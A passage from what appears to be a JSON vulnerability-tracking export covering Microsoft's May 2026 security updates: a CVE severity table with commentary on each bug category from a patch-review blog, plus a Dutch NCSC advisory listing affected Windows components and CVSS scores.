Remote\n  Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  <span>CVE-2026-42831</span>\n  Office for Android\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  <span>CVE-2026-41096</span>\n  Windows DNS Client\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  <span>CVE-2026-35421</span>\n  Windows GDI Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  <span>CVE-2026-40403</span>\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  <span>CVE-2026-40402</span>\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-32161</span>\n  Windows Native WiFi\n  Miniport Driver Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  RCE\n \n \n  <span>CVE-2026-41089</span>\n  Windows Netlogon\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  <span>CVE-2026-32175</span>\n  .NET Core Tampering\n  Vulnerability\n  Important\n  4.3\n  No\n  No\n  Tampering\n \n \n  <span>CVE-2026-32177</span>\n  .NET Elevation of\n  Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-35433</span>\n  .NET Elevation of\n  Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  <span>CVE-2025-54518 *</span>\n  AMD: CVE-2025-54518\n  CPU OP Cache Corruption\n  Important\n  \n  No\n  No\n  RCE\n \n \n  <span>CVE-2026-42899</span>\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  <span>CVE-2026-40381</span>\n  Azure Connected\n  Machine Agent Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-42823 \u2020</span>\n  Azure Logic Apps\n  Elevation of Privilege Vulnerability\n  Important\n  9.9\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-33833</span>\n  Azure Machine Learning\n  Notebook Spoofing Vulnerability\n  Important\n  8.2\n  No\n  No\n  Spoofing\n \n \n  <span>CVE-2026-32204</span>\n  Azure Monitor Agent\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-42830</span>\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-33117</span>\n  Azure SDK for Java\n  Security Feature Bypass Vulnerability\n  Important\n  9.1\n  No\n  No\n  SFB\n \n \n  <span>CVE-2026-41109</span>\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  <span>CVE-2026-35424</span>\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  <span>CVE-2026-41614</span>\n  M365 Copilot for\n  Desktop Spoofing Vulnerability\n  Important\n  6.2\n  No\n  No\n  Spoofing\n \n \n  <span>CVE-2026-41100</span>\n  Microsoft 365 Copilot\n  for Android Spoofing Vulnerability\n  Important\n  4.4\n  No\n  No\n  Spoofing\n \n \n  <span>CVE-2026-40377</span>\n  Microsoft\n  Cryptographic Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-41094</span>\n  Microsoft Data\n  Formulator Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  <span>CVE-2026-40417</span>\n  Microsoft Dynamics 365\n  Business Central Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-42833</span>\n  Microsoft Dynamics 365\n  On-Premises Remote Code Execution Vulnerability\n  Important\n  9.1\n  No\n  No\n  RCE\n \n \n  <span>CVE-2026-42838</span>\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  5.4\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-40360</span>\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  <span>CVE-2026-40359</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  <span>CVE-2026-40362</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  <span>CVE-2026-42832</span>\n  Microsoft Excel\n  Spoofing Vulnerability\n  Important\n  7.7\n  No\n  No\n  Spoofing\n \n \n  <span>CVE-2026-34329</span>\n  Microsoft Message\n  Queuing (MSMQ) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  <span>CVE-2026-40419</span>\n  Microsoft Office\n  Click-To-Run Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-40418</span>\n  Microsoft Office\n  Click-To-Run Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-35436</span>\n  Microsoft Office\n  Click-To-Run Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-40420</span>\n  Microsoft Office\n  Click-To-Run Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-42893</span>\n  Microsoft Outlook for\n  iOS Tampering Vulnerability\n  Important\n  7.4\n  No\n  No\n  Tampering\n \n \n  <span>CVE-2026-40374</span>\n  Microsoft Power\n  Automate Desktop Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  <span>CVE-2026-41102</span>\n  Microsoft PowerPoint\n  for Android Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  <span>CVE-2026-35439</span>\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  <span>CVE-2026-40368</span>\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  <span>CVE-2026-33110</span>\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  <span>CVE-2026-33112</span>\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  <span>CVE-2026-40357</span>\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  <span>CVE-2026-32185</span>\n  Microsoft Teams\n  Spoofing Vulnerability\n  Important\n  5.5\n  No\n  No\n  Spoofing\n \n \n  <span>CVE-2026-41101</span>\n  Microsoft Word for\n  Android Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  <span>CVE-2026-35440</span>\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  <span>CVE-2026-40421</span>\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  4.3\n  No\n  No\n  Info\n \n \n  <span>CVE-2026-41097</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  6.7\n  No\n  No\n  SFB\n \n \n  <span>CVE-2026-40370 \u2020</span>\n  SQL Server Remote Code\n  Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  <span>CVE-2026-41613</span>\n  Visual Studio Code\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-41612</span>\n  Visual Studio Code\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  <span>CVE-2026-41611</span>\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  <span>CVE-2026-41610</span>\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  6.3\n  No\n  No\n  SFB\n \n \n  <span>CVE-2026-33839</span>\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-33840</span>\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-34330</span>\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-34331</span>\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-35423</span>\n  Windows 11 Telnet\n  Client Information Disclosure Vulnerability\n  Important\n  5.4\n  No\n  No\n  Info\n \n \n  <span>CVE-2026-35438</span>\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-41086</span>\n  Windows Admin Center\n  in Azure Portal Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-34344</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-34345</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-35416</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-41088</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-34343</span>\n  Windows Application\n  Identity (AppID) Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-35418</span>\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-33835</span>\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-34337</span>\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-40407</span>\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-40397</span>\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-42896</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-35419</span>\n  Windows DWM Core\n  Library Information Disclosure<span> \n  </span>Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  <span>CVE-2026-34336</span>\n  Windows DWM Core\n  Library Information Disclosure<span> \n  </span>Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  <span>CVE-2026-33834</span>\n  Windows Event Logging\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-32209</span>\n  Windows Filtering\n  Platform (WFP) Security Feature Bypass Vulnerability\n  Important\n  4.4\n  No\n  No\n  SFB\n \n \n  <span>CVE-2026-33841</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-35420</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-40369</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-34332</span>\n  Windows Kernel-Mode\n  Driver Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  <span>CVE-2026-34339</span>\n  Windows Lightweight\n  Directory Access Protocol (LDAP) Denial of Service Vulnerability\n  Important\n  5.5\n  No\n  No\n  DoS\n \n \n  <span>CVE-2026-34341</span>\n  Windows Link-Layer\n  Discovery Protocol (LLDP) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-33838</span>\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-34342</span>\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-41095</span>\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-34340</span>\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-40398</span>\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-21530</span>\n  Windows Rich Text Edit\n  Elevation of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-32170</span>\n  Windows Rich Text Edit\n  Elevation of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-40410</span>\n  Windows SMB Client\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-35415</span>\n  Windows Storage Spaces\n  Controller Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-34350</span>\n  Windows Storport\n  Miniport Driver Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  <span>CVE-2026-40405</span>\n  Windows TCP/IP Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  <span>CVE-2026-40414</span>\n  Windows TCP/IP Denial\n  of Service Vulnerability\n  Important\n  7.4\n  No\n  No\n  DoS\n \n \n  <span>CVE-2026-40401</span>\n  Windows TCP/IP Denial\n  of Service Vulnerability\n  Important\n  6.2\n  No\n  No\n  DoS\n \n \n  <span>CVE-2026-40413</span>\n  Windows TCP/IP Denial\n  of Service Vulnerability\n  Important\n  7.4\n  No\n  No\n  DoS\n \n \n  <span>CVE-2026-35422</span>\n  Windows TCP/IP Driver\n  Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  <span>CVE-2026-34351</span>\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-40399</span>\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-34334</span>\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-40406</span>\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  <span>CVE-2026-33837</span>\n  Windows TCP/IP Local\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-40415</span>\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  <span>CVE-2026-42825</span>\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-34338</span>\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-40382</span>\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-40380</span>\n  Windows Volume Manager\n  Extension Driver Remote Code Execution Vulnerability\n  Important\n  6.2\n  No\n  No\n  RCE\n \n \n  <span>CVE-2026-40408</span>\n  Windows WAN ARP Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-34333</span>\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-34347</span>\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-35417</span>\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  <span>CVE-2026-42891</span>\n  Microsoft Edge\n  (Chromium-based) for Android Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  <span>CVE-2026-35429</span>\n  Microsoft Edge\n  (Chromium-based) for Android Spoofing Vulnerability\n  Moderate\n  4.3\n  No\n  No\n  Spoofing\n \n \n  <span>CVE-2026-41107</span>\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  7.4\n  No\n  No\n  Info\n \n \n  <span>CVE-2026-40416</span>\n  Microsoft\n  Edge (Chromium-based) for Android Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n\n\n\n  \n* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.\n\u2020 Indicates further administrative actions are required to fully address the vulnerability.\n \nLooking at the other Critical-rated bugs in this month\u2019s release, there are quite a few scary-looking bugs (including a CVSS 10!), but there\u2019s no action for the end user as Microsoft has already mitigated these bugs and is just now documenting them. There\u2019s also this month\u2019s crop of Office bugs where the Preview Pane is an attack vector. However, the bug in Office for Android does not have the Preview Pane vector; it\u2019s simple open and own. The bug in the WiFi driver needs a network adjacent attacker. The SharePoint bug requires authentication, but anyone with site privileges has the authentication needed. The bug in SSO Plugin for Jira & Confluence should really be called an authentication bypass, since it allows an unauthenticated attacker to gain access to a system.\nLooking at the other code execution bugs, most are of the open and own variety as expected. The bug in Dynamic 365 (On Prem) requires high privileges. The Message Queueing bug requires an adjacent attacker. The bug in SQL Server requires authentication, but as usual, patching won\u2019t be straightforward. Finally, there\u2019s a bug in the kernel that leads to code execution. Most kernel bugs are privilege escalations, but this one could allow code execution if an attacker sends specially crafted NVMe over Fabrics (NVMe\u2011oF) response messages during the connection handshake process that contains an invalid header length value. Neat.\nAs usual, the vast majority of the Microsoft release fixes Elevation of Privilege (EoP) bugs. Also as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. There are also a few bugs that just state the attacker could \u201cgain ELEVATED privileges.\u201d How obtuse. The bugs in Azure allow an attacker to access data otherwise hidden from them. The Edge bug allows threat actors to elevate to the privileges of the running application. The bug in Visual Studio allows attackers to get permissions associated with the MCP Server\u2019s managed identity. Finally, there are a couple of sandbox escapes, too, which are always useful.\nThis month's update includes six Security Feature Bypass vulnerabilities. The most severe is in the Azure SDK for Java (CVSS 9.1). An attacker over the network can bypass the integrity protection provided by authentication tags on encrypted data, effectively manipulating encrypted input in a way that slips past integrity checks during decryption.  Close behind is the bypass affecting the GitHub Copilot integration in Visual Studio Code (CWE-74). This one requires a user interaction, but it allows an attacker to circumvent the path validation safeguards that normally control which files Copilot is permitted to modify. The other Visual Studio Code bypass involves cross-site scripting, improper link resolution, and information exposure triggered when a user opens or views a maliciously crafted notebook.  On the Windows networking side there are two bypasses. The first hits the Windows TCP/IP driver via an authentication bypass using an alternate channel. The other impacts the Windows Filtering Platform through improper access control, allowing a local, low-privileged attacker to bypass FQDN-based network security rules. Finally, there\u2019s a Secure Boot bypass that, you guessed it, bypasses secure boot features.\nMoving on to the Information Disclosure bugs fixed this month, we have 15 different CVEs. As usual, the majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The bug in Power Automate could expose data marked \u201cSensitive\u201d within Power Automate Desktop flows. One of the Word bugs could disclose NLTM hashes. The bug in Edge could disclose your cookies, which seems rude. The bug in Visual Studio could expose file path information. Finally, there\u2019s a bug in Telnet for Windows 11 that leaks information being used by Telnet at the time. I didn\u2019t even realize Windows 11 still had a telnet client.\nThe May release contains 10 spoofing bugs (plus the ones already addressed by Microsoft). The bug in Azure Machine Learning Notebooks vulnerability requires user interaction, but it could expose info through the Azure ML web interface to the attacker. There\u2019s a cluster of fixes for Microsoft's mobile Office suite on Android. Excel, Word, and PowerPoint for Android all carry spoofing flaws rooted in improper access control. Two Copilot products are also affected by spoofing vulns. The M365 Copilot for Desktop has no details provided. The M365 Copilot for Android variant requires low privileges and producing only limited impact on confidentiality and integrity. Microsoft Teams for Android rounds out the mobile app spoofing bugs. Three Edge bugs close things out, all involving misrepresentation of information in the browser UI. \nThere are two Tampering bugs in this month\u2019s release. The one in .NET Core allows threat actors to write files to an affected system. The other is in Outlook for iOS and manifests as a command injection bug.\nThere are eight DoS bugs in the May release, but as always, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting from a practical standpoint are two TCP/IP bugs that allow a low-privilege Hyper-V guest to crash the host. Both are triggered from the adjacent network. On the broader network-exposure side, the ASP.NET Core bug is a straightforward infinite loop condition \u2014 an unauthenticated attacker sends a crafted request over the network and the server stops responding.\nNo new advisories are being released this month.\nLooking Ahead\nAssuming I survive Pwn2Own Berlin (which is looking iffy at the moment), I\u2019ll return on June 9th on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-05-12T16:38:43.000000Z"}, {"uuid": "3c0d28a1-8646-41a3-80d4-d8e6fa99d8a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21530", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-20", "content": "", "creation_timestamp": "2026-05-13T01:08:48.000000Z"}, {"uuid": "a54a6b0d-4651-4cf7-909b-c0b5f0434f47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21530", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0141", "content": "Microsoft heeft kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de volgende categorie\u00ebn schade:\n\n- Denial-of-Service (DoS)\n- Uitvoeren van willekeurige code (root/admin-rechten)\n- Uitvoeren van willekeurige code (gebruikersrechten)\n- Verkrijgen van verhoogde rechten\n- Omzeilen van een beveiligingsmaatregel\n- Toegang tot gevoelige gegevens\n\nDe ernstigste kwetsbaarheden hebben kenmerken CVE-2026-40402, CVE-2026-41089 en CVE-2026-41096 toegewezen gekregen en bevinden zich respectievelijk in Hyper-V, NETLOGON en de DNS Client. De kwetsbaarheid in Hyper-V stelt een geauthenticeerde kwaadwillende in staat om uit de Guest-VM te breken en toegang te krijgen tot geheugen van de host en mogelijk willekeurige code uit te voeren op de host. De kwetsbaarheden in NETLOGON en de DNS Client stellen een ongeauthenticeerde kwaadwillende op afstand in staat om willekeurige code uit te voeren op het kwetsbare systeem.\n\n**Met name Domain Controllers die toegankelijk zijn vanaf externe netwerken lopen een hoog risico voor actief misbruik van de kwetsbaarheid in NETLOGON.**\n\nHet verdient altijd aanbeveling om een systeem met de rol van Domain Controller niet publiek toegankelijk te hebben en, indien dit noodzakelijk is, additionele maatregelen te hebben genomen.\n\n```\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34340 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Application Identity (AppID) Subsystem: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nUndisclosed: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-41095 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40398 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-41096 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-34345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-35416 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-41088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33841 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-35420 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-40369 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-41097 | 6.70 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Native WiFi Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-32161 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40408 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-34332 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nTelnet Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-35423 | 5.40 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34342 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40410 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-35415 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-32209 | 4.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Volume Manager Extension Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40380 | 6.20 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40377 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33839 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-34330 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-34331 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-34333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-34347 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-40403 | 8.80 | Uitvoeren van willekeurige code     | 